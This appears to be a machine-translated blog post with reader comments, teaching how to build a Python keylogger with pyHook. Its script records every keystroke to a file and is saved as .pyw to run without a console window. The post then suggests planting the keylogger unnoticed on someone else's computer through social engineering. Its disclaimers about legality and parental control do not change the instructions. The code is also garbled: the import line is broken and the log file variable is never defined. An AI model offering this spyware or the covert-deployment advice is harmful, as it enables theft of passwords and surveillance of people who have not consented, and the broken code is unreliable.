HackingProgramming LanguagesRecommendationTechnology

How to create a Keylogger

Before starting, I have to clarify that a KEYLOGGER is illegal if its use is used in crimes, for example, get the data and credentials of someone. This article is made only as a training and academic use and so that you understand how it works.

Legal use of the keylogger

If you are looking to employ a parental control keylogger To legally control your children's browsing, we recommend the following. Then You must ensure that you have your children's consent and that they are aware that you are using monitoring software. Check the legislation in your country.

What is a Keylogger?

Keylogger is a malware software widely used in the hacking world. This malware allows us to register all the content entered on the keyboard of the person using the device.

It is very dangerous as it can record all kinds of credentials including banking or other application credentials that are used while the software is active.

This malware software is quite complex to use remotely, you need to have a lot of knowledge about it. But we are going to teach you create a Keylogger that you can use on your local computer so that you can see how it works first hand.

WATCH OUT! If it is not your personal computer, you will end up registering your partner's credentials, family u others if you do it on yours or if they have access to your computer. This is illegal if you do not have explicit consent and they should be notified that you are recording their data.

Building our own Keylogger will allow us to use it on our computer to save all the keyboard records made. Also to be able to ensure that no one uses our equipment without prior permission.

Anyway, we will leave you a more explanatory post about what a Keylogger is and its use.:

How to create a Keylogger

In order to proceed we will need the use of Python 2.7, Pyhook or Pywin32 or we will not be able to make the Script that we are going to create work.

To download Python you can do it from this link, it will only take a few minutes.

The first thing we will have to do to start creating a Keywlogger is to open the Python editor.

Inside our blank document we are going to introduce the following code:

Free keylogger code


import pyHook pythoncom sys log
# feel free to set the file_log to a different file name / location

def OnKeyboardEvent (event):
logging.basicConfig (filename = file_log, level = logging.DEBUG, format = '% (message) s')
chr (event.Ascii)
logging.log (10, chr (event.Ascii))
return True
hooks_manager = pyHook.HookManager ()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard ()
pythoncom.PumpMessages ()

Once copied and pasted, what we are going to do is click Save. It is important that we save it with the extension .pyw. Keeping the file this way "Keylogger.pyw".

Well. We have the Keylogger ready to record keyboard movements and start spying on the use of our computer. With this code the keystrokes will be saved in a separate file.

Well, let's start our new Script. All you have to do is double click on the file and we will automatically start recording all the activity.

When we want to turn off the Keylogger, we will only have to open the task manager (Control + Alt + Del) and end the Python process. So we will turn it off forcibly.

finish python with task manager. Post on how to create a keylogger
citeia.com

Now comes the fun part, once the process is finished we will go to find the file "keyloggeroutput.txt". We will find it in the same directory where we keep the Keylogger. We will double click on this and….

Tachán!

We have the log of all keyboard use registered with our computer since the Keylogger has been active. You have already learned how to create a Keylogger on your PC and do certain tests.

We are now going to talk to you about the case that your PC is infected with a virus of this type by any means. In fact, below we will leave you one of the ways in which a Keylogger can be implanted on a person's computer, we recommend you read it.

Now, suppose you suspect that you have a Keylogger installed on your computer and you see some weird activity, then don't worry. We have already shown you how to detect and remove it manually. However, there are several programs and applications to automatically detect and eliminate a Keylogger from your PC, get to know them in this post that we leave you here:

If you are interested in this type of tool, leave a comment to decide what the next one is.

In the event that you wanted to plant the Keylogger in an unnoticed way on someone's computer, it could easily be done through Social Engineering.

social engineering and psychological tricks

Social Engineering allows you to get into someone's way of thinking using a collection of information about the victim in order to plan and launch an effective attack against the user.

It is one of the methods with which any hacking strategy can be complemented (Although it is not only used in Hacking)

If you want to find out about how to apply Social Engineering in hacking I recommend you review the following Article.

Is it possible to hack humans? social engineering

social engineering
citeia.com

You can also download the version in PDF for free. (14 Pages for academic use)

You can also download the PDF for free in Magazine format to read it later.

The art of social engineering book cover
DOWNLOADABLE PDF: #1 Social Engineering for Hacking

We hope it has been useful to you.

It may interest you: How do I know if my email has been hacked?

7 comments

  1. Very good article, it is the first website that explains to me straightforwardly how to create the keylogger ... Thank you for not putting straw to the beast as most websites do lately, am I the only one who gets tired?

    All the best

  2. My brother's Google account was hacked and I would like to learn this art of check since it saddens me to see him sad please

Leave your comment

Your email address will not be published. Required fields are marked with *

This site uses Akismet to reduce spam. Learn how your comment data is processed.